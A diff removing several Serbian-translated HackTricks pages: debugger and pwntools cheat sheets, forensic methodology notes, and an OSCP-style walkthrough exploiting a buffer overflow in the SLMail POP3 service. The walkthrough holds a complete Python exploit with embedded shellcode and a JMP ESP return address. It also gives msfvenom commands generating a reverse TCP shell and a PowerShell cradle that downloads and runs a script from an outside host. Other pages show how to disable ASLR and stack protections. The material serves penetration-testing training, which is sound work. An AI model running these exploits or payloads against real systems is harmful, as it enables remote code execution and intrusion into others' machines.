||||
### Parametri
|
||||
```bash
|
||||
-q # No show banner
|
||||
-x <file> # Auto-execute GDB instructions from here
|
||||
-p <pid> # Attach to process
|
||||
```
|
||||
### Uputstva
|
||||
```bash
|
||||
run # Execute
|
||||
start # Start and break in main
|
||||
n/next/ni # Execute next instruction (no inside)
|
||||
s/step/si # Execute next instruction
|
||||
c/continue # Continue until next breakpoint
|
||||
p system # Find the address of the system function
|
||||
set $eip = 0x12345678 # Change value of $eip
|
||||
help # Get help
|
||||
quit # exit
|
||||
|
||||
# Disassemble
|
||||
disassemble main # Disassemble the function called main
|
||||
disassemble 0x12345678 # Disassemble taht address
|
||||
set disassembly-flavor intel # Use intel syntax
|
||||
set follow-fork-mode child/parent # Follow child/parent process
|
||||
|
||||
# Breakpoints
|
||||
br func # Add breakpoint to function
|
||||
br *func+23
|
||||
br *0x12345678
|
||||
del <NUM> # Delete that number of breakpoint
|
||||
watch EXPRESSION # Break if the value changes
|
||||
|
||||
# info
|
||||
info functions --> Info abount functions
|
||||
info functions func --> Info of the funtion
|
||||
info registers --> Value of the registers
|
||||
bt # Backtrace Stack
|
||||
bt full # Detailed stack
|
||||
print variable
|
||||
print 0x87654321 - 0x12345678 # Caculate
|
||||
|
||||
# x/examine
|
||||
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
|
||||
x/o 0xDir_hex
|
||||
x/2x $eip # 2Words from EIP
|
||||
x/2x $eip -4 # $eip - 4
|
||||
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||||
i r eip # Value of $eip
|
||||
x/w pointer # Value of the pointer
|
||||
x/s pointer # String pointed by the pointer
|
||||
x/xw &pointer # Address where the pointer is located
|
||||
x/i $eip # Instructions of the EIP
|
||||
```
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
checksec #Check protections
|
||||
p system #Find system function address
|
||||
search-pattern "/bin/sh" #Search in the process memory
|
||||
vmmap #Get memory mappings
|
||||
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
|
||||
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
|
||||
got #Check got table
|
||||
memory watch $_got()+0x18 5 #Watch a part of the got table
|
||||
|
||||
# Vulns detection
|
||||
format-string-helper #Detect insecure format strings
|
||||
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
|
||||
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
#Shellcode
|
||||
shellcode search x86 #Search shellcodes
|
||||
shellcode get 61 #Download shellcode number 61
|
||||
|
||||
#Another way to get the offset of to the RIP
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffddd0:
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
gef➤ pattern search 0x6261617762616176
|
||||
[+] Searching for '0x6261617762616176'
|
||||
[+] Found at offset 184 (little-endian search) likely
|
||||
```
|
||||
### Trikovi
|
||||
|
||||
#### GDB iste adrese
|
||||
|
||||
Dok debagujete, GDB će imati **malo drugačije adrese od onih koje koristi binarni fajl kada se izvršava.** Možete učiniti da GDB ima iste adrese tako što ćete:
|
||||
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
- `set env _=<path>` _Unesite apsolutnu putanju do binarnog fajla_
|
||||
- Iskoristite binarni fajl koristeći istu apsolutnu putanju
|
||||
- `PWD` i `OLDPWD` moraju biti isti kada koristite GDB i kada eksploatišete binarni fajl
|
||||
|
||||
#### Backtrace za pronalaženje pozvanih funkcija
|
||||
|
||||
Kada imate **staticki povezani binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško **identifikovati tok koji binarni fajl prati da bi, na primer, zatražio unos od korisnika.**\
|
||||
Možete lako identifikovati ovaj tok tako što ćete **pokrenuti** binarni fajl sa **gdb** dok ne zatraži unos. Zatim, zaustavite ga sa **CTRL+C** i koristite **`bt`** (**backtrace**) komandu da vidite pozvane funkcije:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
#1 0x0000000000400b90 in ?? ()
|
||||
#2 0x0000000000400c1d in ?? ()
|
||||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
### GDB server
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (u IDA morate uneti apsolutnu putanju izvršne datoteke na Linux mašini i na Windows mašini)
|
||||
|
||||
## Ghidra
|
||||
|
||||
### Pronađi offset steka
|
||||
|
||||
**Ghidra** je veoma korisna za pronalaženje **offset-a** za **buffer overflow zahvaljujući informacijama o poziciji lokalnih varijabli.**\
|
||||
Na primer, u primeru ispod, buffer flow u `local_bc` ukazuje da vam je potreban offset od `0xbc`. Štaviše, ako je `local_10` kanarska kolačić, to ukazuje da da biste ga prepisali iz `local_bc` postoji offset od `0xac`.\
|
||||
_Pamti da prvih 0x08 odakle se čuva RIP pripada RBP-u._
|
||||
|
||||
.png>)
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliraj bez zaštita\
|
||||
**-o** --> Izlaz\
|
||||
**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Da deaktivira ASLR u linuxu
|
||||
|
||||
**Da kompajlirate shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> vraća ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Izvršna datoteka
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Disasembliraj izvršne** sekcije (vidi opkode kompajliranog shellcode-a, pronađi ROP Gadgets, pronađi adresu funkcije...)\
|
||||
**-Mintel** --> **Intel** sintaksa\
|
||||
**-t** --> **Tabela** simbola\
|
||||
**-D** --> **Disasembliraj sve** (adresa statične varijable)\
|
||||
**-s -j .dtors** --> dtors sekcija\
|
||||
**-s -j .got** --> got sekcija\
|
||||
\-D -s -j .plt --> **plt** sekcija **dekompilirana**\
|
||||
**-TR** --> **Relokacije**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za modifikaciju u GOT\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Adresa ili statična varijabla (one se čuvaju u DATA sekciji).
|
||||
|
||||
## Core dumps
|
||||
|
||||
1. Pokrenite `ulimit -c unlimited` pre nego što pokrenete moj program
|
||||
2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
## Više
|
||||
|
||||
**ldd izvršna datoteka | grep libc.so.6** --> Adresa (ako je ASLR, onda se ovo menja svaki put)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Petlja da vidi da li se adresa mnogo menja\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh"
|
||||
|
||||
**strace izvršna datoteka** --> Funkcije koje poziva izvršna datoteka\
|
||||
**rabin2 -i ejecutable -->** Adresa svih funkcija
|
||||
|
||||
## **Inmunity debugger**
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
## IDA
|
||||
|
||||
### Debugging u udaljenom linuxu
|
||||
|
||||
Unutar IDA fascikle možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar linuxa. Da biste to uradili, premestite binarnu datoteku _linux_server_ ili _linux_server64_ unutar linux servera i pokrenite je unutar fascikle koja sadrži binarnu datoteku:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
Zatim, konfigurišite debager: Debugger (linux remote) --> Opcije procesa...:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,146 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
# Pwn asm
|
||||
|
||||
Dobijte opkode iz linije ili fajla.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Može se odabrati:**
|
||||
|
||||
- tip izlaza (raw, hex, string, elf)
|
||||
- kontekst izlaza (16, 32, 64, linux, windows...)
|
||||
- izbegavanje bajtova (nove linije, null, lista)
|
||||
- odabrati enkoder za debagovanje shellcode-a koristeći gdb za pokretanje izlaza
|
||||
|
||||
# **Pwn checksec**
|
||||
|
||||
Checksec skripta
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
# Pwn constgrep
|
||||
|
||||
# Pwn cyclic
|
||||
|
||||
Dobijte obrazac
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Može se odabrati:**
|
||||
|
||||
- Korišćeni alfabet (mala slova po defaultu)
|
||||
- Dužina jedinstvenog obrasca (podrazumevano 4)
|
||||
- kontekst (16,32,64,linux,windows...)
|
||||
- Uzmite pomak (-l)
|
||||
|
||||
# Pwn debug
|
||||
|
||||
Priključite GDB na proces
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**Može se odabrati:**
|
||||
|
||||
- Po izvršnom fajlu, po imenu ili po pid kontekstu (16,32,64,linux,windows...)
|
||||
- gdbscript za izvršavanje
|
||||
- sysrootpath
|
||||
|
||||
# Pwn disablenx
|
||||
|
||||
Onemogući nx binarnog fajla
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
# Pwn disasm
|
||||
|
||||
Disas hex opkode
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Može se izabrati:**
|
||||
|
||||
- kontekst (16,32,64,linux,windows...)
|
||||
- osnovna adresa
|
||||
- boja(podrazumevano)/bez boje
|
||||
|
||||
# Pwn elfdiff
|
||||
|
||||
Ispisuje razlike između 2 fajla
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
# Pwn hex
|
||||
|
||||
Dobijte heksadecimalnu reprezentaciju
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
# Pwn phd
|
||||
|
||||
Dobijte hexdump
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**Može se odabrati:**
|
||||
|
||||
- Broj bajtova za prikaz
|
||||
- Broj bajtova po liniji istaknutih bajtova
|
||||
- Preskoči bajtove na početku
|
||||
|
||||
# Pwn pwnstrip
|
||||
|
||||
# Pwn scrable
|
||||
|
||||
# Pwn shellcraft
|
||||
|
||||
Dobijanje shellcode-a
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**Može se izabrati:**
|
||||
|
||||
- shellcode i argumenti za shellcode
|
||||
- Izlazna datoteka
|
||||
- format izlaza
|
||||
- debagovanje (priključiti dbg na shellcode)
|
||||
- pre (debug trap pre koda)
|
||||
- posle
|
||||
- izbegavati korišćenje opkoda (podrazumevano: nije null i nova linija)
|
||||
- Pokreni shellcode
|
||||
- Boja/bez boje
|
||||
- lista syscalls
|
||||
- lista mogućih shellcode-ova
|
||||
- Generiši ELF kao deljenu biblioteku
|
||||
|
||||
# Pwn šablon
|
||||
|
||||
Dobijte python šablon
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
**Može se odabrati:** host, port, user, pass, path i quiet
|
||||
|
||||
# Pwn unhex
|
||||
|
||||
Iz heksa u string
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
# Pwn ažuriranje
|
||||
|
||||
Da biste ažurirali pwntools
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,237 +0,0 @@
|
||||
# Windows Exploiting (Osnovni vodič - OSCP nivo)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Počnite sa instalacijom SLMail servisa**
|
||||
|
||||
## Ponovo pokrenite SLMail servis
|
||||
|
||||
Svaki put kada treba da **ponovo pokrenete servis SLMail** možete to uraditi koristeći Windows konzolu:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
 (1).png>)
|
||||
|
||||
## Veoma osnovni python exploit šablon
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
ip = '10.11.25.153'
|
||||
port = 110
|
||||
|
||||
buffer = 'A' * 2700
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **Promenite font Immunity Debuggera**
|
||||
|
||||
Idite na `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
## **Priključite proces na Immunity Debugger:**
|
||||
|
||||
**File --> Attach**
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
**I pritisnite START dugme**
|
||||
|
||||
## **Pošaljite exploit i proverite da li je EIP pogođen:**
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Svaki put kada prekinete servis, trebate ga ponovo pokrenuti kao što je naznačeno na početku ove stranice.
|
||||
|
||||
## Napravite obrazac za modifikaciju EIP-a
|
||||
|
||||
Obrazac bi trebao biti dovoljno velik kao buffer koji ste koristili da prekinete servis ranije.
|
||||
|
||||
 (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
Promenite bafer eksploita i postavite obrazac, a zatim pokrenite eksploataciju.
|
||||
|
||||
Treba da se pojavi novi pad, ali sa drugačijom EIP adresom:
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Proverite da li je adresa bila u vašem obrascu:
|
||||
|
||||
 (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
Izgleda da **možemo modifikovati EIP na offsetu 2606** bafera.
|
||||
|
||||
Proverite to modifikujući bafer eksploita:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
Sa ovim baferom EIP se srušio i treba da pokazuje na 42424242 ("BBBB")
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Izgleda da radi.
|
||||
|
||||
## Proverite prostor za Shellcode unutar steka
|
||||
|
||||
600B bi trebalo da bude dovoljno za bilo koji moćan shellcode.
|
||||
|
||||
Hajde da promenimo bafer:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
pokrenite novi exploit i proverite EBP i dužinu korisnog shellcode-a
|
||||
|
||||
 (1).png>)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Možete videti da kada se dođe do ranjivosti, EBP pokazuje na shellcode i da imamo puno prostora da lociramo shellcode ovde.
|
||||
|
||||
U ovom slučaju imamo **od 0x0209A128 do 0x0209A2D6 = 430B.** Dovoljno.
|
||||
|
||||
## Proverite loše karaktere
|
||||
|
||||
Ponovo promenite bafer:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||||
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
|
||||
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
||||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
|
||||
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
||||
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
|
||||
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
||||
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
|
||||
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
||||
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
|
||||
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
||||
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
|
||||
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
||||
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
|
||||
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
Badchars počinju od 0x01 jer je 0x00 gotovo uvek loš.
|
||||
|
||||
Izvršavajte eksploataciju ponovo sa ovim novim baferom brišući karaktere za koje se utvrdi da su beskorisni:
|
||||
|
||||
Na primer:
|
||||
|
||||
U ovom slučaju možete videti da **ne biste trebali koristiti karakter 0x0A** (ništa se ne čuva u memoriji pošto je karakter 0x09).
|
||||
|
||||
 (1).png>)
|
||||
|
||||
U ovom slučaju možete videti da **se karakter 0x0D izbegava**:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
## Pronađite JMP ESP kao adresu povratka
|
||||
|
||||
Koristeći:
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
Ćete **navesti mape memorije**. Potražite neki DLL koji ima:
|
||||
|
||||
- **Rebase: False**
|
||||
- **SafeSEH: False**
|
||||
- **ASLR: False**
|
||||
- **NXCompat: False**
|
||||
- **OS Dll: True**
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Sada, unutar ove memorije trebali biste pronaći neke JMP ESP bajtove, da biste to uradili izvršite:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
**Zatim, ako se pronađe neka adresa, izaberite onu koja ne sadrži nikakve badchar:**
|
||||
|
||||
 (1).png>)
|
||||
|
||||
**U ovom slučaju, na primer: \_0x5f4a358f**\_
|
||||
|
||||
## Kreirajte shellcode
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
Ako eksploatacija ne funkcioniše, ali bi trebala (možete videti sa ImDebg da je shellcode dostignut), pokušajte da kreirate druge shellcode-ove (msfvenom sa kreiranjem različitih shellcode-ova za iste parametre).
|
||||
|
||||
**Dodajte neke NOPS na početak** shellcode-a i koristite ga zajedno sa povratnom adresom za JMP ESP, i završite eksploataciju:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
ip = '10.11.25.153'
|
||||
port = 110
|
||||
|
||||
shellcode = (
|
||||
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
|
||||
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
|
||||
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
|
||||
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
|
||||
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
|
||||
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
|
||||
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
|
||||
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
|
||||
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
|
||||
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
|
||||
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
|
||||
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
|
||||
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
|
||||
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
|
||||
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
|
||||
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
|
||||
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
|
||||
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
|
||||
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
|
||||
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
|
||||
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
|
||||
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
|
||||
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
|
||||
"\x2d\xb8\x63\xe2\x4e\xe9"
|
||||
)
|
||||
|
||||
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
> [!WARNING]
|
||||
> Postoje shellcode-ovi koji će **prepisati sebe**, stoga je važno uvek dodati nekoliko NOP-ova pre shellcode-a
|
||||
|
||||
## Poboljšanje shellcode-a
|
||||
|
||||
Dodajte ove parametre:
|
||||
```
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,82 +0,0 @@
|
||||
# Osnovna Forenzička Metodologija
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kreiranje i Montiranje Slike
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
|
||||
{{#endref}}
|
||||
|
||||
## Analiza Malvera
|
||||
|
||||
Ovo **nije nužno prvi korak koji treba preduzeti kada imate sliku**. Ali možete koristiti ove tehnike analize malvera nezavisno ako imate datoteku, sliku datotečnog sistema, sliku memorije, pcap... tako da je dobro **imati na umu ove akcije**:
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Istraživanje Slike
|
||||
|
||||
Ako dobijete **forenzičku sliku** uređaja, možete početi **analizirati particije, datotečni sistem** koji se koristi i **opraviti** potencijalno **zanimljive datoteke** (čak i obrisane). Saznajte kako u:
|
||||
|
||||
{{#ref}}
|
||||
partitions-file-systems-carving/
|
||||
{{#endref}}
|
||||
|
||||
U zavisnosti od korišćenih OS-ova i čak platformi, različiti zanimljivi artefakti treba da se pretražuju:
|
||||
|
||||
{{#ref}}
|
||||
windows-forensics/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
linux-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
docker-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## Dubinska Inspekcija Specifičnih Tipova Datoteka i Softvera
|
||||
|
||||
Ako imate vrlo **sumnjivu** **datoteku**, onda **u zavisnosti od tipa datoteke i softvera** koji je kreirao, nekoliko **trikova** može biti korisno.\
|
||||
Pročitajte sledeću stranicu da biste saznali neke zanimljive trikove:
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/
|
||||
{{#endref}}
|
||||
|
||||
Želim da posebno pomenem stranicu:
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
## Inspekcija Dump-a Memorije
|
||||
|
||||
{{#ref}}
|
||||
memory-dump-analysis/
|
||||
{{#endref}}
|
||||
|
||||
## Inspekcija Pcap-a
|
||||
|
||||
{{#ref}}
|
||||
pcap-inspection/
|
||||
{{#endref}}
|
||||
|
||||
## **Anti-forenzičke Tehnike**
|
||||
|
||||
Imajte na umu moguću upotrebu anti-forenzičkih tehnika:
|
||||
|
||||
{{#ref}}
|
||||
anti-forensic-techniques.md
|
||||
{{#endref}}
|
||||
|
||||
## Lov na Pretnje
|
||||
|
||||
{{#ref}}
|
||||
file-integrity-monitoring.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,151 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Vremenske oznake
|
||||
|
||||
Napadač može biti zainteresovan za **promenu vremenskih oznaka datoteka** kako bi izbegao otkrivanje.\
|
||||
Moguće je pronaći vremenske oznake unutar MFT u atributima `$STANDARD_INFORMATION`**i**`$FILE_NAME`.
|
||||
|
||||
Oba atributa imaju 4 vremenske oznake: **Izmena**, **pristup**, **kreiranje** i **modifikacija MFT registra** (MACE ili MACB).
|
||||
|
||||
**Windows explorer** i drugi alati prikazuju informacije iz **`$STANDARD_INFORMATION`**.
|
||||
|
||||
## TimeStomp - Anti-forenzički alat
|
||||
|
||||
Ovaj alat **menja** informacije o vremenskim oznakama unutar **`$STANDARD_INFORMATION`** **ali** **ne** informacije unutar **`$FILE_NAME`**. Stoga, moguće je **identifikovati** **sumnjivu** **aktivnost**.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
**USN Dnevnik** (Dnevnik broja sekvenci ažuriranja) je funkcija NTFS (Windows NT datotečni sistem) koja prati promene na volumenu. Alat [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) omogućava ispitivanje ovih promena.
|
||||
|
||||
.png>)
|
||||
|
||||
Prethodna slika je **izlaz** prikazan od strane **alata** gde se može primetiti da su neke **promene izvršene** na datoteci.
|
||||
|
||||
## $LogFile
|
||||
|
||||
**Sve promene metapodataka na datotečnom sistemu se beleže** u procesu poznatom kao [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Beleženi metapodaci se čuvaju u datoteci nazvanoj `**$LogFile**`, koja se nalazi u korenskom direktorijumu NTFS datotečnog sistema. Alati kao što su [LogFileParser](https://github.com/jschicht/LogFileParser) mogu se koristiti za analizu ove datoteke i identifikaciju promena.
|
||||
|
||||
.png>)
|
||||
|
||||
